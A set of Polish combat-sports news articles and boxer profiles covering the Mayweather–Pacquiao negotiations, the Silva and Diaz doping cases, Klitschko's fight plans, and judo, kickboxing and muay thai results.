Prezes grupy Top Rank Bob Arum wyjaśniał, że wszystko jest na najlepszej drodze do porozumienia, ale do podpisania kontraktu na walkę jeszcze nie doszło. Wszystko wskazuje na to, że jest to kwestia czasu, gdyż strony prowadzą zaawansowane rozmowy. Ustalono konsensus, co do podziału zysków z pojedynku – 60% do 40% na korzyść Mayweathera. Łącznie pięściarze będą partycypowali w kwocie 250 milionów dolarów, czyli 150 trafi do Moneya, a 100 do Pacmana. Kiedy dojdzie do podpisania umowy? Strony jeszcze nad nią pracuję. Informację podaną przez The Telegraph zdementował również wiceprezes telewizji Showtime Sports Stephen Espinoza. – Umowa nadal jest negocjowana, więc nie mam pojęcia, jaki kontrakt ktokolwiek mógłby podpisać.

Głos w sprawie zabrał również Floyd Mayweather: – Informacje, które pojawiły się w mediach są nieprawdziwe. Ani ja nie podpisałem kontraktu, ani Pacquiao nie podpisał kontraktu na ten pojedynek – powiedział pięściarz. Czas biegnie nieubłaganie i do planowanego na 2 maja pojedynku pozostało tylko jedenaście tygodni. Kontrakt musi być podpisany lada dzień, aby pięściarze mogli rozpocząć przygotowania do rywalizacji.

Obecnie trudno uwierzyć w to, aby negocjacje miały trwać dłużej. Mayweather i Pacquiao muszą przygotować się do pojedynku, który będzie bardzo ciężki i wymagający. Konieczna jest odpowiednia ilość czasu, a okres poniżej dziesięciu tygodni brzmi trochę groteskowo. Kontrakt powinien zostać podpisany w najbliższych dniach, jeśli pojedynek ma odbyć się 2 maja. W innym wypadku w grę wchodzi zmiana terminu. Jednak Bob Arum podkreślał, że porozumienie jest blisko. Skoro pięściarze osiągnęli zgodę w kwestii podziału zysków to wszystko jest na dobrej drodze.

Ostatnimi czasy obie bokserzy uczestniczyli w różnych eventach i udzielali wywiadów. Za kilka dni będą musieli zamienić blask fleszy na sale treningowe, aby jak najlepiej przygotować się do rywalizacji, która zapowiada się niezwykle smakowicie. Wielkie show, wielki biznes, wielki boks. Tego oczekuje świat, tego oczekują sponsorzy, tego oczekują kibice. Saga dotycząca planowania walki powoli dobiega końca. Teraz wypada czekać na rozwój wypadków w ringu. Być może The Telegraph nie poddał mylnej informacji i wszystko odbędzie się wedle informacji gazety, ale trwają ostatnie szlify. Aby mistrzowie mogli tworzyć dzieło najwyższych lotów trzeba zapewnić im odpowiednie warunki. Niech się dzieje. Nadszedł czas przejścia do następnego etapu. Etapu przygotowań.

KM

Krzysztof Bienias

Polski bokser urodzony 31 stycznia 1980 roku w Warszawie. W kwietniu 2013 roku zakończył karierę zawodową. Był mistrzem Interkontynentalnym federacji WBO.  Krzysztof na zawodowych ringach zadebiutował 2 września 2000 roku. W pierwszym pojedynku niespodziewanie przegrał na punkty z Patrickiem Puskasem.  4 maja 2002 roku Bienias zdobył tytuł młodzieżowego Mistrza Świata federacji IBF, pokonując Yuria Ramanau. W latach 2002-2008 stoczył 26 pojedynków, z których przegrał 2 razy. 20 lutego 2009 roku zdobył tytuł interkontynentalnego mistrza świata federacji WBO w wadze półśredniej, pokonując Svena Parisa.  17 lipca 2009 roku w pierwszej obronie  tytułu interkontynentalnego ponownie pokonał Svena Parisa. 12 marca 2010 roku w drugiej obronie pasa interkontynentalnego  przegrał z Brytyjczykiem Kellem Brookiem przez techniczny nokaut.  10 listopada 2012 roku Krzysztof przegrał jednogłośnie na punkty pojedynek  z Gianlucą Branco. Stawką pojedynku był wakujący tytuł Mistrza Unii Europejskiej , federacji EBU.  Ten pojedynek był ostatnim w zawodowej karierze Krzysztofa.  20 kwietnia 2013 roku Bienias oficjalnie ogłosił zakończenie kariery Bokserskiej, na gali boksu zawodowego w Rzeszowie. Jako zawodowy pięściarz stoczył 48 pojedynków, z czego 42 wygrał, 5 przegrał i jedną zremisował. Do jego największych osiągnięć należy: Młodzieżowe Mistrzostwo Świata federacji IBF oraz zdobycie pasa WBO Inter-Continental. 

Perenc wygrała z mocną Japonką

Reprezentantka Polski w judo pokazała się z bardzo dobrej strony w zawodach Pucharu Świata w Oberwart. Agata Perenc w kategorii 52 kg zajęła trzecie miejsce. Tym samym nasza judoczka po raz kolejny w nowym sezonie stanęła na podium.

To niewątpliwy sukces Polki, która potwierdza, że intensywnie przepracowany okres przygotowawczy przynosi pożądane owoce. W Austrii Perenc pokazała się z dobrej strony i wywalczyła brązowy medal. Gdyby nasza zawodniczka miała więcej szczęścia być może odniosłaby w Austrii triumf. Perenc szła jak burza, jednak w ćwierćfinale trafiła na klasyfikowaną na siedemnastym miejscu na świecie reprezentantkę Chin Ma Yingnan. Tym samym prysły marzenia o triumfie, jednak Perenc nie poddała się i kontynuowała swój dobry występ. W starciu o brąz spotkała się z Japonką Ai Shishime. Choć zawodniczka z Kraju Kwitnącej Wiśni w światowym rankingu klasyfikowana jest ponad sto pozycji wyżej od Polki, nie sprostała Agacie Perenc. Nasza zawodniczka zwyciężyła przez ippon. Brąz dla Perenc stał się faktem. Dobrai ambitna postawa Polki w Oberwart została nagrodzona. Warto wspomnieć, że Perenc podczas turnieju w Arlon pokazała się z dobrej strony. W Belgii Polka zajęła drugą lokatę.

Szkoda, że pozostała część drużyny nie dostosowała się do poziomu Agaty Perenc. Jedynie Martyna Martynowicz zajęła siódme miejsce w kategorii 52 kg. Ewa Konieczny, Karolina Pieńkowska, Zuzanna Pawlikowska, Anna Borowska, Karolina Tałach, Katarzyna Furmanek oraz Joanna Jaworska odpadły już z rywalizacji w pierwszym dniu eliminacji. Więcej oczekiwano po występie Furmanek, która w Arlon zwyciężyła w kategorii +78 kg. W porównaniu z występami w Arlon poczynania naszych reprezentantek w Pucharze Świata w Austrii wypadły blado. Belgijskie wojaże przyniosły podopiecznym Anety Szczepańskiej cztery medale, jednakże należy zaznaczyć, iż skala zawodów była zdecydowanie inna. W Arlon był to międzynarodowy turniej, w Oberwart Puchar Świata, w którym wzięła udział światowa czołówka. Warto zaznaczyć, że w austriackiej rywalizacji nie uczestniczyły brązowa medalistka mistrzostw świata w Czelabińsku Katarzyna Kłys oraz będące w dobrej formie Daria Pogorzelec i Agata Ozdoba. Nie ulega wątpliwości, że pod okiem trener Anety Szczepańskiej możemy śmiało liczyć na dobre występy naszej drużyny podczas kwietniowych mistrzostw Europy w Glasgow oraz sierpniowych mistrzostw świata w Astanie.

Niewiele do trzeciego miejsca zabrakło Damianowi Szwarnowieckiemu. Polski judoka rywalizował w Rzymie podczas zawodów Pucharu Świata. Szwarnowiecki pokazał się z dobrej strony – zwyciężył w trzech z pięciu walk, jednak w tej najważniejszej, o trzeciej miejsce, poniósł porażkę. Rywalem Polaka był reprezentant Chin Sun Shuai. Szwarnowiecki przegrał minimalnie – jedną karą shido. Tym samym Polakowi przypadło piąte miejsce w zawodach Pucharu Świata w Rzymie.

KM

Solis gotowy do rewanżu z weteranem

Wokół pojedynku Odlaniera Solisa z Tonym Thompsonem jest wiele zamieszania. Walka miała się odbyć we wcześniejszym terminie, ale ją odwołano. Na dzień dzisiejszy pojedynek będzie miał miejsce 27 lutego w Turcji.

Należy zaznaczyć, że problemy z doprowadzeniem do rewanżowego starcia Solis – Thompson wynikają również z kłopotów zdrowotnych Kubańczyka. Początkowo walkę planowano w październiku, następnie w listopadzie, potem w styczniu aż doszło do lutego. Solis i Thompson mieli stanąć na ringu w Budapeszcie, jednak zawiedli tamtejsi inwestorzy, którzy nie dotrzymali terminów i promotorzy pięściarzy musieli rozpocząć poszukiwania nowej lokalizacji. Padło na Turcję. Tym razem walka ma odbyć się bez problemów.

Historia planowania rewanżowego starcia Solis – Thompson jest burzliwa. Wszystko zaczęło się w marcu ubiegłego roku, kiedy to panowie stanęli naprzeciw siebie w ringu po raz pierwszy. Doświadczony, liczący ponad czterdzieści wiosen Thompson, który nadal zachwycał formą skrzyżował rękawice z mistrzem olimpijskim z Aten, utalentowanym pięściarzem z Kuby mającym nadzieję na podbicie kategorii królewskiej. Solis w swojej karierze zawodowej miał okazję walczyć o pas WBC w wadze ciężkiej, jednak z powodu kontuzji w pierwszej rundzie pojedynku z Witalijem Kliczko poddał się. Z kolei Thompson miał okazję rywalizować z Władimirem Kliczko i to dwukrotnie. W obu przypadkach, jednak przegrał. Ostatnio Thompson rywalizował z Carlosem Takamem i musiał uznać wyższość rywala. Obaj pięściarze mieli okazję walczyć o najwyższe cele, ale nie osiągnęli sukcesu. Z tym, że Solis ma 34 lata i może liczyć, że uda mu się wejść na szczyt. Thompson tej nadziei raczej już nie ma.

Swego czasu Solis był obiecującą postacią wagi ciężkiej, jednak należy otwarcie przyznać, że porażka w pojedynku z Thompsonem sprawiła, iż jego pozycja drastycznie spadła. Dlatego też Kubańczyk 27 lutego postara się wziąć rewanż na Amerykaninie, z którym przegrał niejedno głośnie na punkty. W marcu ubiegłego roku Solis nie prezentował się w ringu najlepiej. Kubańczyk był ociężały, słabo przygotowany kondycyjnie do rywalizacji. Choć technicznie był lepszy, nie był w stanie wykorzystać tego atutu. Thompson po wstępnej fazie rywalizacji przyspieszył i „zamęczył” swojego przeciwnika. Sędziowie niejedno głośnie przyznali zwycięstwo Amerykaninowi. Solis choć był faworytem przegrał przez swoją indolencję. Kubańczyk zapomniał, że w ringu staje naprzeciw boksera z wieloletnim doświadczeniem i to zemściło się na nim.

Solis dobrze się zapowiadał, był w czołówce wagi ciężkiej, ale kontuzje i problemy natury mentalnej – podejścia do boksu sprawiły, że jego kariera wyhamowała. Thompson jest solidnym bokserem, który w swojej karierze walczył z najlepszymi i udowadniał swoją wartość. W końcu w Turcji panowie spotkają się po raz drugi? Czy Solis popełni kolejny błąd?

fot. PAP

KM

Kickboxerska Europa w Karlovacu

Karlovac gościł fighterów z całej Europy. W tym chorwackim mieście odbyła się druga edycja Pucharu Europy w kickboxingu "Karlovac Open". Warto podkreślić, że walk nie brakowało.

Liczby robią piorunujące wrażenie. Puchar Europy w Karlovacu okazał się ogromnym przedsięwzięciem. W zawodach wzięło udział 878 zawodników, którzy reprezentowali 147 klubów z 22 krajów. Wszystkie te liczby ułożyły się w sumę 1444 startów indywidualnych. Poza tym pojawiło się kilku zawodników spoza europejskiego kontynentu m.in. z Puerto Rico i Chile. Dwa dni zmagań pełnych kickboxingu, wielkich emocji i wrażeń. Karlovac był miejscem, gdzie nie można było się nudzić.

Nasi reprezentanci w tym licznym gronie fighterów również zaznaczyli swoją obecność. Polacy przywieźli z Chorwacji szesnaście medali. Jeśli dodamy do tego grona dwa srebrne krążki Martina Koneckiego, który w turnieju reprezentował barwy Kumgangu Wiedeń to nasz dorobek zwiększa się. Polski zawodnik wywalczył medale w  kat. -42 kg kick-light oraz light-contact kadetów starszych.

Z dobre strony zaprezentowali się fighterzy LKSW Dan Świdnik (4 krążki), UKS Gladiator Binczarowa (3), Krakowskiego Centrum Taekwon-do Kraków (3), Oyamy Rzeszów (3), Klubu Taekwon-do Tradycyjnego Łódź (1) oraz UKS Tom Bee Team Uwieliny (2). Na szesnaście medali zdobytych przez reprezentujących rodzime teamy zawodników pięć miało złotą barwę. Ponadto, Polacy wywalczyli sześć srebrnych i pięć brązowych krążków. Klub ze Świdnika zdobył złoto, srebro i dwa brąz. Medal z najszlachetniejszego kruszcu zawisł na szyi Adrianny Skowrytko, która startowała w kat. -65 kg pointfighting kadetek starszych. Był to jej ostatni występ wśród kadetek, teraz będzie walczyła w juniorach. Srebrny krążek w kat. -63 kg light-contact juniorów wywalczył Paweł Zdun. Brązowe medale zawisły na szyjach: Zuzanny Wesołowskiej w kat. -50 kg pointfighting kadetek starszych i Mateusza Budy w kat. -52 kg light-contact kadetów starszych.

Złoto zdobył Mateusz Piwowarczyk. Reprezentujący barwy Krakowskiego Centrum Taekwon-do Kraków zawodnik rywalizował w kat. -74 kg light-contact juniorów. Po złoty medal sięgnął Mateusz Kosturek z Rzeszowa w kat. -74 kick-light seniorów. Zawodnik Oyamy wywalczył dwa medale. Kosturek sięgnął także po srebro w kat. -75 kg full-contact seniorów. Dwa medale w seniorach wywalczyła również Karolina Czech z Krakowskiego Centrum. Zawodniczka zdobyła srebro w kat. +70 kg pointfighting seniorek oraz złoto w kat. +70 kg light-contact seniorek.

Polacy w licznie obsadzonym turnieju zaznaczyli swoją obecność zdobywając szesnaście medali. Organizatorzy nie do końca zapewnili zawodnikom komfortowe warunki rywalizacji. Z pewnością wpływ na to miała duża liczba biorących udział w turnieju. Jednak walki trwające do późnych godzin nocnych nie są najlepszym rozwiązaniem. Być może lepszym rozwiązaniem byłoby rozłożenie rywalizacji na trzy dni.

KM

Jednak wziął? Niepokojące wiadomości z UFC

Wiadomość o stosowaniu przez Andersona Silvę środków zabronionych zelektryzowała wszystkich. Spider bronił się i tłumaczył, że to błąd, który musiał mieć miejsce w laboratorium. Wszyscy z niecierpliwością czekali na wynik drugiego badania.

Przypomnijmy, Anderson Silva był gwiazdą gali UFC 183, na której walczył z Nickiem Diazem. Po pojedynku obaj fighterzy zostali poddani testom antydopingowym. Jak się okazało Silva stosował drostanolon, a Diaz marihuanę. Spider przez lata uchodził za wzór do naśladowania. Wiadomość o substancjach zakazanych w organizmie Andersona Silvy była zaskoczeniem. Sam zainteresowany nie dowierzał. W takich sytuacjach przeprowadza się dodatkowy test antydopingowy.

Jak donosi portal MMAjunkie.com fighter poddał się po raz kolejny badaniom. Nie potwierdziły one jednak wersji Silvy, wynik testu na zawartość substancji zakazanych okazał się pozytywny. Co dalej? Silva jest tymczasowo zawieszony i czeka na spotkanie z Komisją Sportową Stanu Nevada, które odbędzie się17 lutego. Tam rozstrzygną się dalsze losy Spidera. Zapewne Komisja przedłuży okres zawieszenia fightera, na oddzielnym posiedzeniu podejmie kolejne decyzje. Przede wszystkim konieczne jest zebranie wszystkich materiałów oraz przeanalizowanie sprawy w sposób wnikliwy i dokładny. Anderson Silva znalazł się w trudnym położeniu, gdyż powtórny test nie potwierdził jego wersji. Wszystko wskazuje na to, że Spider będzie musiał dłużej odpocząć od MMA.

Świat UFC ostatnimi czasy żyje skandalami oraz problemami. Spadająca sprzedaż pay per view, sądowe batalie z zawodnikami niezadowolonymi z zasad współpracy oraz doping. Do grona przyłapanych na stosowaniu niedozwolonych środków wpadł Hector Lombard. Fighter stoczył walkę na UFC 182 z Joshem Burkmanem. Lombard wygrał swój pojedynek, po którym poddał się testom antydopingowym. Wynik okazał się pozytywny, jednak wokół zdarzenia narodziła się ciekawa historia. Otóż, Komisja Sportowa Stanu Nevada o sytuacji została poinformowana 13 stycznia, ale wiadomość tę zachowała dla siebie. Z kolei 17 stycznia UFC zakontraktowało walkę Lombarda z Rory MacDonaldem. Do starcia miało dojść podczas UFC 186 w Kanadzie, jednak taki pojedynek nie będzie miał miejsca. W organizmie Lombarda wykryto ślady sterydu anabolicznego. Po otrzymaniu tej informacji UFC odwołało walkę i szuka nowego rywala dla MacDonalda.

Porzućmy smutne wątki i przejdźmy do pozytywów, małych radości. Pamiętamy cały czas, że w kwietniu czeka nas ogromna atrakcja. W Krakowie odbędzie się gala UFC. Dla polskich fanów gratką będzie walka Błachowicz – Manuwa. Z kolei w pojedynku wieczoru zaprezentuje się Mirko „Cro Cop” Filipović. UFC ujawniła, że w Krakowie dojdzie do walki w wadze słomkowej pań. Zmierzą się w niej Claudia Gadelha, która poniosła porażkę w starciu z Joanną Jędrzejczyk, i Aisling Daly. Ponadto, warto zaznaczyć, że sprzedaż biletów na galę na ruszyć 26 lutego.

KM

Rozkład jazdy Władimira

Mistrz świata wagi ciężkiej IBF/WBA/WBO/IBO Władimir Kliczko ma określony plan działań na najbliższe miesiące. Obecnie przygotowuje się do walki z Bryantem Jenningsem, która odbędzie się 25 kwietnia w Madison Square Garden. A potem? Kliczko ma już swoje cele.

Najpierw Jennings. Negocjacje na temat walki z Amerykaninem trwały dość długo, gdyż pojawiły się zawirowania w kwestii przynależności boksera do grupy promotorskiej. Ostatecznie wszystko udało się ustalić i Władimir Kliczko w końcu stoczy pojedynek w Stanach Zjednoczonych. Jennings ma ogromny apetyt, aby cztery pasy Ukraińca trafiły do niego, jednak jest to mało prawdopodobne. Dla Amerykanina jest to życiowa szansa, ale Kliczko na swojej drodze spotykał trudniejszych i bardziej wymagających rywali. Stąd zapewne mistrz z Ukrainy już teraz pozwala sobie planować czas po pojedynku z Jenningsem.

Kliczko bardzo chce stoczyć walkę z mistrzem WBC Deontayem Wilderem. Bokser, który po ośmiu latach odzyskał pas wagi ciężkiej dla Amerykanów, stał się wyzwaniem dla Ukraińca. Wilder do tej pory nie poniósł porażki na zawodowym ringu. Ten fakt dodaje smaku potencjalnej rywalizacji obu pięściarzy. Kliczko zna doskonale umiejętności Wildera, gdyż ten był jednym ze sparingpartnerów ukraińskiego boksera przed pojedynkiem z Mariuszem Wachem. Walka mistrzów wagi ciężkiej byłaby ogromnym wydarzeniem i rywalizacją o worek pasów. Czy do tego starcia dojdzie? Kliczko nie ma wątpliwości: – Potrzebujemy tego pojedynku i musimy do tej walki doprowadzić.

Jednakże obóz ukraińskiego mistrza po pojedynku z Jenningsem widzi dla Władimira innego rywala. Kliczko miałby najpierw spotkać się z Tysonem Fury’m. Anglik również chciałby rywalizować z mistrzem z Ukrainy i udowodnić swoją wartość. Fury jest bardzo pewny siebie, za wszelką cenę chce osiągnąć sukces. Ponadto, Anglik myśli o pojedynku z Wilderem, którego ceni zdecydowanie niżej niż Ukraińca. Kliczko stanie przed kolejnymi wyzwaniami. Kto wie, czy nie będzie to najbardziej pracowity i najtrudniejszy okres od kilku lat dla Kliczko. Plan jest prosty: Jennings, Fury, Wilder. Otwarcie mówi o tym menadżer mistrza świata Bernd Boente: – Po pojedynku, który odbędzie się 25 kwietnia kibice zobaczą naprzeciw Władimira Tysona Fury, a potem Deontay'a Widlera.

Pojawiły się również informacje na temat zakończenia kariery przez ukraińskiego mistrza. Kliczko miałby pożegnać się z boksem w 2018 roku. Zostały mu w takim razie jeszcze trzy lata. Czy przez ten okres pozostanie na tronie? Jakby nie patrzeć – przed Ukraińcem rywalizacja z trzema bokserami, którzy nie zaznali jeszcze goryczy porażki. Czy któryś z nich po spotkaniu z Kliczko zachowa status niepokonanego? Z pewnością mistrz wagi ciężkiej postara się, aby zmienić panujący stan rzeczy.

Wielokrotnie zastanawiano się, kto zwyciężyłby, gdyby doszło do starcia Władimir – Witalij. Wiadomo, że do niego nie dojdzie. Witalij zakończył swoją przygodę z boksem, a ponadto – pięściarze obiecali, że nigdy nie będą walczyć ze sobą. Władimir zajął stanowisko w tej sprawie i wskazał na swojego brata jako faworyta. – Walka dwóch braci…Za bardzo kocham mojego brat, aby ten pojedynek miał miejsce. Gdyby doszło do tej walki to uważam, że wygrałby ją mój brat.

KM

Jędrzejczyk podbija Tajlandię

Paweł „Wergi” Jędrzejczyk przebywa w Tajlandii, gdzie doskonali swój warsztat. Polski fighter nie próżnuje i na każdym kroku udowadnia swoją wartość. Jędrzejczyk jako zawodnik tajskiego boksu osiągnął niemal wszystko. Jest gwiazdą.

Jędrzejczyk jako czołowy polski fighter, który osiągnął najwyższy z możliwych poziomów podróżuje do Tajlandii. Trenuje i walczy tam, gdzie muay thai jest religią. Polak wykorzystał sposobność, aby zaprezentować się rozentuzjazmowanej publiczności na stadionie Lumpinee w rywalizacji z Garethem Nelliesem z Wysp Brytyjskich. Dla Jędrzejczyka ten pojedynek miał wymiar szczególny, gdyż można go rozpatrywać w kategoriach rewanżu. Obaj panowie spotkali się w ringu dwa lata temu i po emocjonującej pięciorundowej wymianie sędziowie przyznali zwycięstwo Anglikowi. Teraz Jędrzejczyk miał okazję zaprezentować się w Tajlandii, podczas gali transmitowanej przez telewizję i wykorzystał okazję, aby pokazać się z jak najlepszej strony

Nellies to trudny przeciwnik. Potężny facet, odporny na ciosy, jednak zawodnikowi z Wrocławia udało się „złamać” rywala. Jędrzejczyk był konsekwentny w swoich działaniach i stosował low kicki oraz liczne ciosy bokserskie. Nellies momentami był bezradny. Przypomnijmy, Jędrzejczyk rywalizuje w wadze półciężkiej. Jego rywal do pojedynku musiał zrzucić aż 7,5kg, co miało wpływ na jego postawę – przede wszystkim na motorykę. Jędrzejczyk zrewanżował się Anglikowi. Tym razem po pięciu rundach sędziowie zdecydowanie wskazali na zwycięstwo polskiego fightera.

Paweł Jędrzejczyk jest zawodnikiem znanym w świecie kickboxingu i muay thai. Fighter z Wrocławia zachwyca swoimi umiejętnościami, walczy na najwyższym poziomie i zdobywa tytuły. W sierpniu 2014 roku sięgnął po pas zawodowego mistrza świata Muay Thai prestiżowej organizacji WKA w kategorii do 81kg.  Polak przez TKO w walce o tytuł pokonał Słowaka Daniela Hromka. Do tego należy dodać, że 34-latek z Wrocławia jest pięciokrotnym zawodowym mistrzem świata K1 Rules /Muay Thai organizacji WKN. Jako pierwszy Polak walczył na stadionie Rajadamnern w Bangkoku. Obecnie Jędrzejczyk skupia się na zawodowych występach. Pobyt w Tajlandii z pewnością mu służy. Treningi w ojczyźnie muay thai są wskaźnikiem poziomu zawodnika z Wrocławia, w kontekście którego mówiło się o możliwości występów na galach organizacji Glory.

Czy Polak pasowałby do poziomu prezentowanego na imprezach tej rangi? Co do tego nie można mieć żadnych wątpliwości. Skoro walczy w Tajlandii, posiada tytuły zawodowego mistrza świata i na poziomie zawodowym odnosi sukcesy to jest odpowiednim człowiekiem dla Glory. Jędrzejczyk zrobił w boksie tajskim niemal wszystko. Dla wielu adeptów sportów walki jest ikoną, idolem i wzorem do naśladowania. Ponadto, godnie reprezentuje Polskę odnosząc kolejne sukcesy. Czy Tajlandia zwariuje na punkcie Jędrzejczyka? Z pewnością polski fighter robi wszystko, aby tak było.

KM

Krzysztof Zimnoch

Polski bokser wagi ciężkiej urodzony 6 września 1983 roku w Białymstoku. Swoją przygodę z boksem rozpoczął w 2000 roku w klubie sportowym Cristal w Białymstoku. Jego pierwszym trenerem był Ryszard Dargiewicz. Jako amator stoczył 130 walk z czego 102 wygrał, 3 zremisował i 20 przegrał.  Pierwszy zawodowy pojedynek Krzysztof wygrał przez nokaut z Amerykaninem Keonem Grahamem w 2010 roku.  Kolejna walkę Zimnoch stoczył 26 marca 2010 roku z Dustinem Hendrickiem. Krzysztof wygrał pojedynek przez TKO w pierwszej rundzie.  Trzecie starcie przyniosło pierwszy remis w karierze zawodowej Zimnocha. Jego rywalem był Joey Montoya.  Kolejne pojedynki przyniosły Krzysztofowi następne zwycięstwa. 18 maja 2013 roku pokonał jednogłośną decyzją byłego mistrza świata Olivera McCalla.  19 października 2013 roku Zimnoch pokonał na gali Wojak Boxing Night: Underground Show w Wieliczce Artura Binkowskiego. W 2013 roku Zimnoch wraz z Andrzejem Liczikiem otworzyli własny klub bokserski Golden Boxing Białystok.  

Andrzej Wawrzyk

Polski bokser urodzony 26 września 1987 roku w Krakowie.  Aktualny mistrz Polski wagi ciężkiej. Swoją pierwszą walkę stoczył 18 listopada 2006 roku z Czechem Ervinem Slonką, wygrał ją na punkty. 19 kwietnia 2008 roku walczył z Marcinem Najmanem o pas mistrza Polski wagi ciężkiej. Andrzej wygrał ten pojedynek przez TKO w drugiej rundzie. 18 października 2008 roku zdobył tytuł młodzieżowego mistrza świata WBC pokonując Holendra Harrego Duivenema Juniora przez nokaut w 8 rundzie. 29 listopada obronił pasa mistrza Polski wagi ciężkiej pokonując Tomasza Bonina. 9 maja 2009 roku obronił tytułu młodzieżowego mistrza Świata WBC pokonując Kenijczyka Raymonda Ochienga. 18 grudnia 2009 roku Wawrzyk po raz kolejny obronił tytułu młodzieżowego mistrza świata WBC pokonując amatorskiego wicemistrza świata Ukraińca Ołeksija Mazikinema. Na początku 2010 roku stoczył pierwszy pojedynek w USA na gali w Chicago. Na punkty pokonał Harveya Jollyego.  W swoim 20 pojedynku Andrzej pokonał Łotysza Pavelsa Dolgovsa.  Po kolejnych siedmiu zwycięstwach Andrzej dostał szansę walki  o mistrzostwo Świata Federacji WBA z Aleksandrem Powietkinem. Polak przegrał ten pojedynek przez TKO  w pierwszej rundzie. Była to pierwsza porażka Polaka w zawodowej karierze.  Po przegranej walce z Powietkinem Andzej pokonał przez TKO Dannego Williamsa. 15 marca 2014 roku pokonał przez TKO Francoisa Botha na gali Wojak Boxing Night w Armałowie. Stawką pojedynku było Międzynarodowe Mistrzostwo Polski w wadze ciężkiej.  

Wilder pod ostrzałem

Deontay Wilder zostając czempionem WBC wagi ciężkiej dał swoim rodakom wiele radości. Amerykanie w końcu mają powód do dumy. W końcu po ośmiu latach mają mistrza świata w boksie w wadze ciężkiej. Przed Wilderem trudny czas, na horyzoncie pojawiają się chętni do rywalizacji z mistrzem WBC.

Amerykanin imponuje wszystkim swoim rekordem (wygrał trzydzieści trzy walki, w tym trzydzieści dwie przez nokaut) oraz siłą ciosu. Pokonując Stiverne’a wszedł na sam szczyt. Teraz jego głównym zadaniem jest obrona mistrzowskiego pasa, na który zaczęli polować już inni. Chęć rywalizacji z Wilderem zadeklarował czempion wagi ciężkiej czterech federacji IBF/IBO/WBA/WBO Władimir Kliczko. Ukraińcowi w kolekcji brakuje tylko pasa WBC, który przez lata dzierżył jego brat – Witalij. Z tym, że Władimir 25 kwietnia w Madison Square Garden zmierzy się z Bryantem Jenningsem, więc rywalizacja z Wilderem zapewne odbyłaby się jesienią. Kliczko chce stoczyć pojedynek z Amerykaninem,  którego wartość wysoko ceni. – Wilder ma ogromną wartość jako pięściarz i posiada pas mistrzowski, dlatego jest odpowiednim rywalem dla mnie – powiedział ukraiński mistrz. Walka Kliczko – Wilder z pewnością byłaby ogromną atrakcją, a także prezentowała odpowiedni poziom sportowy. Tak naprawdę – kto jak nie Amerykanin może walczyć jak równy z równym z Ukraińcem? Ogromny Wilder – 201 cm, 98 kg – jako jeden z nielicznych ma odpowiednie atuty, aby przeciwstawić się Kliczce. Dodatkowo jest młodszy, imponuje siłą ciosu i efektywnością.

Wilder komplikuje trochę plany jednemu z czołowych bokserów wagi ciężkiej. Tyson Fury bardzo chciał rywalizować z Władimirem Kliczko, jednak możliwość tej walki oddala się. Powodem są plany Ukraińca, co do rywalizacji z Wilderem. Sam Fury również nie wyklucza możliwości starcia z Amerykaninem. Jak powszechnie wiadomo Anglik ma bardzo rozbudowane ego i chce zawojować wagę ciężką. Otwarcie mówi o swoich ambicjach. 28 lutego Fury zmierzy się Christianem Hammerem i rywalizacji tej przegrać po prostu nie może. W przypadku porażki jego zamiary oddalą się. Plan Fury’ego jest prosty: wygrana z Hammerem, potem Kliczko i Wilder. – Numerem jeden na mojej liście jest Kliczko, drugi na niej jest Wilder, z którym chciałbym się spotkać po konfrontacji z Ukraińcem. Amerykanin przeżywa obecnie wielkie chwile, ale nie potrwa to długo – powiedział Anglik.

Warto nadmienić, że Fury ma to do siebie, że strasznie dużo mówi. Anglik pracuje nad swoim wizerunkiem w mediach, stara się go skutecznie kreować i robić zamieszanie wokół siebie. Czy idzie to w parze z jego ringowymi możliwościami? Z Hammerem zapewne jest w stanie wygrać, ale czy nadszedł jego czas na zepchnięcie z piedestału mistrza z Ukrainy?

Fury dużo mówi, Kliczko jest konkretny, a Wilder po prostu czeka. Amerykanin jest teraz czempionem i ma ten komfort, że to o walkę z nim boje toczą inni. Gdyby doszło do starcia Kliczko – Wilder byłoby to mega przedsięwzięcie, które na bok zepchnęłoby wszystkie inne wydarzenia w boksie. Amerykanin wykonał swoje zadanie – zdobył pas, a teraz czeka. Na kolejne trofea?

KM

Czy laboratorium mogło się pomylić?

Skandal za skandalem w UFC. Sprawa Andersona Silvy i Nicka Diaza cały czas jest gorąca. Trwa dyskusja, mnożą się domysły i pytania.

Silva i Diaz byli gwiazdami gali UFC 183, podczas której spotkali się w pojedynku wieczoru. Walka nierozstrzygnięta, gdyż pojawiły się niespodziewane komplikacje. Okazało się, że czołowe gwiazdy UFC stosowały substancje zabronione. Czytaj: doping. Silva zażywał drostanolon, w organizmie Diaza wykryto ślady marihuany. Ponadto, u Spidera doszukano się obecności męskich hormonów płciowych o budowie sterydowej – androsteronu.

Tak wyglądają wyniki testów. Warto zastanowić się nad podłożem problemu względem  tych dwóch zawodników. Zaczynając od Diaza, w tym przypadku mamy powtórkę z rozrywki. Fighter nie po raz pierwszy wpadł za stosowanie niedozwolonych środków. U Diaza w lutym 2012 roku również wykryto marihuanę. Wtedy zawodnik został zawieszony za stosowanie niedozwolonych środków. Czyli nic nie wyniósł ze swoich wcześniejszych doświadczeń i ponownie sięgnął po szkodliwą substancję. Diaz musi liczyć się z kolejną karą i zapewne utratą 300 tysięcy dolarów, które otrzymał za występ na UFC 183.

Przypadek Andersona Silvy jest zgoła inny. Dla wielu to ogromne zaskoczenie, szok. Przez wiele lat Silva uchodził za wzór do naśladowania. Uznawany za najlepszego fightera bez podziału na kategorie wagowe, wielki mistrz i wspaniały zawodnik. Przychodzi kontrola antydopingowa i taka niespodzianka. W organizmie Silvy wykryto drostanolon, czyli substancję, która była przyczyną zawieszenia Piotra Hallmanna. Sam zawodnik jest w szoku i zapewnia, że żadnych niedozwolonych środków nie stosował. Silva ma prawo domagać się ponownego przeprowadzenia testów, czego zapewne dokona w celu porównania wyników. Jednym logicznym wytłumaczeniem w takiej sytuacji jest pomyłka w laboratorium. Anderson Silva będzie walczył, chodzi o jego nazwisko i renomę. Sytuacja jest trudna.

